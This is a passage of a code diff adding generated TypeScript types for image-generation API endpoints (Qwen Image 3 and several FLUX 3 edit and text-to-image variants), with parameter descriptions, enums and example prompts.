inputAlibabaQwenImage3TextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputAlibabaQwenImage3TextToImageImageSizeKey = + (typeof inputAlibabaQwenImage3TextToImageImageSize)[keyof typeof inputAlibabaQwenImage3TextToImageImageSize] + +export const inputAlibabaQwenImage3TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputAlibabaQwenImage3TextToImageOutputFormatEnumKey = + (typeof inputAlibabaQwenImage3TextToImageOutputFormatEnum)[keyof typeof inputAlibabaQwenImage3TextToImageOutputFormatEnum] + +export type InputAlibabaQwenImage3TextToImage = { + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt describing the desired image. Supports Chinese and English. Max 5000 characters. + * @minLength 1 + * @maxLength 5000 + * @example A cute baby koala holding a card that says "Qwen Image 3 is now available on fal" while on a water slide + * @type string + */ + prompt: string + /** + * @description Enable automatic LLM prompt rewriting for better results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The size of the generated image. Total number of pixels must be between 512x512 and 2048x2048. + * @default square_hd + * @example {"width":1024,"height":1024} + */ + image_size?: ImageSize | InputAlibabaQwenImage3TextToImageImageSizeKey + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputAlibabaQwenImage3TextToImageOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Content to avoid in the generated image. Max 500 characters. + * @default + * @example low resolution, error, worst quality, low quality, deformed + */ + negative_prompt?: string | null +} + +export type OutputAlibabaQwenImage3TextToImage = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0a8bf02b/bKyzcdmA_kYq4ru5s9H7k_sQ893ydD.png"}] + * @type array + */ + images: File[] + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3EditImageResolutionEnum = { + '768sq': '768sq', + '1k': '1k', + '1.5k': '1.5k', + '2k': '2k', + '4k': '4k', +} as const + +export type InputBlackforestlabsFlux3EditImageResolutionEnumKey = + (typeof inputBlackforestlabsFlux3EditImageResolutionEnum)[keyof typeof inputBlackforestlabsFlux3EditImageResolutionEnum] + +export const inputBlackforestlabsFlux3EditImageAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '3:2': '3:2', + '7:5': '7:5', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '5:7': '5:7', + '2:3': '2:3', + '9:16': '9:16', + '1:2': '1:2', +} as const + +export type InputBlackforestlabsFlux3EditImageAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3EditImageAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3EditImageAspectRatioEnum] + +export const inputBlackforestlabsFlux3EditImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBlackforestlabsFlux3EditImageOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3EditImageOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3EditImageOutputFormatEnum] + +export type InputBlackforestlabsFlux3EditImage = { + /** + * @description The model version. + * @default 'latest' + * @type string | undefined + */ + version?: 'latest' + /** + * @description Safety tolerance, from 0 (strictest) to 4. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description The prompt to generate an image from. + * @example A red fox leaping over a stream in a pine forest, low-angle wildlife photograph. + * @type string + */ + prompt: string + /** + * @description Output resolution tier. 4k can take several minutes. + * @default '1k' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3EditImageResolutionEnumKey + /** + * @description Return the image as a data URI instead of storing it in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output aspect ratio. Auto uses the first reference image when editing. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3EditImageAspectRatioEnumKey + /** + * @description Reference image URLs or data URIs, in image 1 through image 10 order. Each must be at least 256 pixels per dimension. Oversized images are automatically downscaled to at most 4 megapixels while preserving aspect ratio. The first controls auto aspect ratio. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_pro_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description Expand the prompt while preserving its intent and reference roles. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3EditImageOutputFormatEnumKey +} + +export type ImageFile = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBlackforestlabsFlux3EditImage = { + /** + * @description The generated image. + * @type array + */ + images: ImageFile[] +} + +export type ImageSize7C5E88E3 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoRAInput = { + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to a FLUX 3 Klein LoRA (.safetensors), e.g. from flux-3-image-klein-trainer. + * @type string + */ + path: string +} + +export type Box = { + /** + * @description Left edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.3 + * @type number + */ + x_min: number + /** + * @description Right edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number + */ + x_max: number + /** + * @description Bottom edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.9 + * @type number + */ + y_max: number + /** + * @description Top edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.4 + * @type number + */ + y_min: number +} + +export type EditBoundingBox = { + /** + * @description Where the object is in the reference image. Requires `source_image_index`. + */ + source_box?: Box | null + /** + * @description 0-based index into `image_urls` of the reference the object comes from. Leave unset for a new object. + */ + source_image_index?: number | null + /** + * @description Where the object goes in the output image, as on text-to-image. Use instead of `source_box`/`target_box`. + */ + box?: Box | null + /** + * @description Short name for the object in this box, e.g. `dragon`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example dragon + */ + label?: string | null + /** + * @description Where the object goes in the output image. Leave unset to remove a referenced object; set both boxes to move or resize it. + */ + target_box?: Box | null + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a large fluffy knitted dragon in terracotta and mustard yarn + * @type string + */ + description: string +} + +export const inputBlackforestlabsFlux3KleinBaseEditImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinBaseEditImageLoraImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinBaseEditImageLoraImageSize)[keyof typeof inputBlackforestlabsFlux3KleinBaseEditImageLoraImageSize] + +export const inputBlackforestlabsFlux3KleinBaseEditImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputBlackforestlabsFlux3KleinBaseEditImageLoraOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinBaseEditImageLoraOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinBaseEditImageLoraOutputFormatEnum] + +export type InputBlackforestlabsFlux3KleinBaseEditImageLora = { + /** + * @description The reference images to edit or compose from (up to 10). + * @example ["https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-i2i-input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the generated image, 256 to 4096 pixels per side. If not set, a single reference image's own size (scaled to at most 4 megapixels) is used, or the first reference image's size (at most 1 megapixel) when several are given. + */ + image_size?: + | ImageSize7C5E88E3 + | InputBlackforestlabsFlux3KleinBaseEditImageLoraImageSizeKey + | null + /** + * @description LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The negative prompt to use. Use it to address details that you don't want in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinBaseEditImageLoraOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description How closely the model should stick to your prompt (classifier-free guidance). + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional layout, with (0, 0) at the top-left of each image: keep, move, resize or remove objects from the references, or place new ones. Name boxes in the prompt by label, e.g. ``. + */ + bounding_boxes?: EditBoundingBox[] | null + /** + * @description A complete caption of the target image with the edit folded in. Refer to the references by their order: the first image, the second image. + * @example A miniature grey amigurumi knight figure crocheted from thick woolen yarn stands on a cliff of stacked yarn skeins at night, lit by a full moon, next to a large fluffy knitted dragon in terracotta and mustard yarn, with a soft out-of-focus backdrop of indigo knitted yarn. + * @type string + */ + prompt: string +} + +export type ImageFileE741Ff6B = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinBaseEditImageLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @type array + */ + images: ImageFileE741Ff6B[] + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number +} + +export type ImageSizeCd12C988 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type BoundingBox = { + /** + * @description Where the object goes in the output image. + * @type object + */ + box: Box + /** + * @description Short name for the object in this box, e.g. `fox`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example fox + */ + label?: string | null + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a red fox with thick orange fur and a white-tipped tail + * @type string + */ + description: string +} + +export const inputBlackforestlabsFlux3KleinBaseTextToImageLoraOutputFormatEnum = + { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', + } as const + +export type InputBlackforestlabsFlux3KleinBaseTextToImageLoraOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinBaseTextToImageLoraOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinBaseTextToImageLoraOutputFormatEnum] + +export const inputBlackforestlabsFlux3KleinBaseTextToImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinBaseTextToImageLoraImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinBaseTextToImageLoraImageSize)[keyof typeof inputBlackforestlabsFlux3KleinBaseTextToImageLoraImageSize] + +export type InputBlackforestlabsFlux3KleinBaseTextToImageLora = { + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinBaseTextToImageLoraOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. Each side can be 256 to 4096 pixels (native 4K). + * @default square_hd + */ + image_size?: + | ImageSizeCd12C988 + | InputBlackforestlabsFlux3KleinBaseTextToImageLoraImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Optional layout: draw each described object inside its box. Box edges are fractions of the image size, with (0, 0) at the top-left. Name boxes in the prompt by label, e.g. `A red fox sits under a red umbrella `. + */ + bounding_boxes?: BoundingBox[] | null + /** + * @description The prompt to generate an image from. The model is trained on detailed captions: describe framing, subject, background and lighting. + * @example A red fox standing in fresh snow at sunrise, its breath visible in the cold air. Soft golden light rakes across the snowfield from the left, pine forest softly blurred in the background, shot at eye level with a telephoto lens. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description How closely the model should stick to your prompt (classifier-free guidance). + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The negative prompt to use. Use it to address details that you don't want in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type ImageFile39Ee312C = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinBaseTextToImageLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @type array + */ + images: ImageFile39Ee312C[] + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number +} + +export type ImageSize30E3Ed81 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type Box2F637466 = { + /** + * @description Bottom edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.9 + * @type number + */ + y_max: number + /** + * @description Left edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.3 + * @type number + */ + x_min: number + /** + * @description Right edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number + */ + x_max: number + /** + * @description Top edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.4 + * @type number + */ + y_min: number +} + +export type EditBoundingBox4A2Fb0A2 = { + /** + * @description Where the object goes in the output image, as on text-to-image. Use instead of `source_box`/`target_box`. + */ + box?: Box2F637466 | null + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a large fluffy knitted dragon in terracotta and mustard yarn + * @type string + */ + description: string + /** + * @description Where the object is in the reference image. Requires `source_image_index`. + */ + source_box?: Box2F637466 | null + /** + * @description 0-based index into `image_urls` of the reference the object comes from. Leave unset for a new object. + */ + source_image_index?: number | null + /** + * @description Short name for the object in this box, e.g. `dragon`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example dragon + */ + label?: string | null + /** + * @description Where the object goes in the output image. Leave unset to remove a referenced object; set both boxes to move or resize it. + */ + target_box?: Box2F637466 | null +} + +export const inputBlackforestlabsFlux3KleinEditImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinEditImageImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinEditImageImageSize)[keyof typeof inputBlackforestlabsFlux3KleinEditImageImageSize] + +export const inputBlackforestlabsFlux3KleinEditImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputBlackforestlabsFlux3KleinEditImageOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinEditImageOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinEditImageOutputFormatEnum] + +export type InputBlackforestlabsFlux3KleinEditImage = { + /** + * @description The size of the generated image, 256 to 4096 pixels per side. If not set, a single reference image's own size (scaled to at most 4 megapixels) is used, or the first reference image's size (at most 1 megapixel) when several are given. + */ + image_size?: + | ImageSize30E3Ed81 + | InputBlackforestlabsFlux3KleinEditImageImageSizeKey + | null + /** + * @description A complete caption of the target image with the edit folded in. Refer to the references by their order: the first image, the second image. + * @example A miniature grey amigurumi knight figure crocheted from thick woolen yarn stands on a cliff of stacked yarn skeins at night, lit by a full moon, next to a large fluffy knitted dragon in terracotta and mustard yarn, with a soft out-of-focus backdrop of indigo knitted yarn. + * @type string + */ + prompt: string + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Optional layout, with (0, 0) at the top-left of each image: keep, move, resize or remove objects from the references, or place new ones. Name boxes in the prompt by label, e.g. ``. + */ + bounding_boxes?: EditBoundingBox4A2Fb0A2[] | null + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The reference images to edit or compose from (up to 10). + * @example ["https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-i2i-input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinEditImageOutputFormatEnumKey + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile9Fc9B41A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinEditImage = { + /** + * @description The generated images. + * @type array + */ + images: ImageFile9Fc9B41A[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize8525Cc23 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoRAInput74A56Fd7 = { + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL to a FLUX 3 Klein LoRA (.safetensors), e.g. from flux-3-image-klein-trainer. + * @type string + */ + path: string +} + +export type Box7E2E1Bca = { + /** + * @description Left edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.3 + * @type number + */ + x_min: number + /** + * @description Right edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number + */ + x_max: number + /** + * @description Bottom edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.9 + * @type number + */ + y_max: number + /** + * @description Top edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.4 + * @type number + */ + y_min: number +} + +export type EditBoundingBoxF008306E = { + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a large fluffy knitted dragon in terracotta and mustard yarn + * @type string + */ + description: string + /** + * @description Where the object goes in the output image. Leave unset to remove a referenced object; set both boxes to move or resize it. + */ + target_box?: Box7E2E1Bca | null + /** + * @description Where the object is in the reference image. Requires `source_image_index`. + */ + source_box?: Box7E2E1Bca | null + /** + * @description Short name for the object in this box, e.g. `dragon`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example dragon + */ + label?: string | null + /** + * @description 0-based index into `image_urls` of the reference the object comes from. Leave unset for a new object. + */ + source_image_index?: number | null + /** + * @description Where the object goes in the output image, as on text-to-image. Use instead of `source_box`/`target_box`. + */ + box?: Box7E2E1Bca | null +} + +export const inputBlackforestlabsFlux3KleinEditImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinEditImageLoraImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinEditImageLoraImageSize)[keyof typeof inputBlackforestlabsFlux3KleinEditImageLoraImageSize] + +export const inputBlackforestlabsFlux3KleinEditImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputBlackforestlabsFlux3KleinEditImageLoraOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinEditImageLoraOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinEditImageLoraOutputFormatEnum] + +export type InputBlackforestlabsFlux3KleinEditImageLora = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The size of the generated image, 256 to 4096 pixels per side. If not set, a single reference image's own size (scaled to at most 4 megapixels) is used, or the first reference image's size (at most 1 megapixel) when several are given. + */ + image_size?: + | ImageSize8525Cc23 + | InputBlackforestlabsFlux3KleinEditImageLoraImageSizeKey + | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBlackforestlabsFlux3KleinEditImageLoraOutputFormatEnumKey + /** + * @description The reference images to edit or compose from (up to 10). + * @example ["https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-i2i-input.png"] + * @type array + */ + image_urls: string[] + /** + * @description LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput74A56Fd7[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional layout, with (0, 0) at the top-left of each image: keep, move, resize or remove objects from the references, or place new ones. Name boxes in the prompt by label, e.g. ``. + */ + bounding_boxes?: EditBoundingBoxF008306E[] | null + /** + * @description A complete caption of the target image with the edit folded in. Refer to the references by their order: the first image, the second image. + * @example A miniature grey amigurumi knight figure crocheted from thick woolen yarn stands on a cliff of stacked yarn skeins at night, lit by a full moon, next to a large fluffy knitted dragon in terracotta and mustard yarn, with a soft out-of-focus backdrop of indigo knitted yarn. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the prompt is expanded into a detailed caption (grounded in the reference images when editing) before generation. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type ImageFile569218D3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBlackforestlabsFlux3KleinEditImageLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @type array + */ + images: ImageFile569218D3[] + /** + * @description Seed used to generate the first image. + * @type integer + */ + seed: number +} + +export type ImageSize172B1C0A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type BoxE02529B1 = { + /** + * @description Bottom edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.9 + * @type number + */ + y_max: number + /** + * @description Left edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.3 + * @type number + */ + x_min: number + /** + * @description Right edge as a fraction of the image width (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number + */ + x_max: number + /** + * @description Top edge as a fraction of the image height (0-1). + * @minimum 0 + * @maximum 1 + * @example 0.4 + * @type number + */ + y_min: number +} + +export type BoundingBox42Fd4C19 = { + /** + * @description Where the object goes in the output image. + * @type object + */ + box: BoxE02529B1 + /** + * @description What to draw in this box: the object and its look. + * @maxLength 500 + * @example a red fox with thick orange fur and a white-tipped tail + * @type string + */ + description: string + /** + * @description Short name for the object in this box, e.g. `fox`. Write `` in the prompt to tie the box to those words; a box the prompt doesn't name is added to the scene. Defaults to `obj_`. + * @example fox + */ + label?: string | null +} + +export const inputBlackforestlabsFlux3KleinTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputBlackforestlabsFlux3KleinTextToImageImageSizeKey = + (typeof inputBlackforestlabsFlux3KleinTextToImageImageSize)[keyof typeof inputBlackforestlabsFlux3KleinTextToImageImageSize] + +export const inputBlackforestlabsFlux3KleinTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputBlackforestlabsFlux3KleinTextToImageOutputFormatEnumKey = + (typeof inputBlackforestlabsFlux3KleinTextToImageOutputFormatEnum)[keyof typeof inputBlackforestlabsFlux3KleinTextToImageOutputFormatEnum] + +export type InputBlackforestlabsFlux3KleinTextToImage = { + /** + * @description The size of the generated image. Each side can be 256 to 4096 pixels (native 4K). + * @default square_hd + */ + image_size?: + | ImageSize172B1C0A + | InputBlackforestlabsFlux3KleinTextToImageImageSizeKey + /** + * @description The prompt to generate an image from. The model is trained on detailed captions: describe framing, subject, background and lighting. + * @example A red fox standing in fresh snow at sunrise, its breath visible in the cold air. Soft golden light rakes across the snowfield from the left, pine forest softly blurred in the background, shot at eye level with a telephoto lens. + * @type string + */ + prompt: string + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Optional layout: draw each described object inside its box. Box edges are fractions of the image size, with (0, 0) at the top-left. Name boxes in the prompt by label, e.g. `A red fox sits under a red umbrella 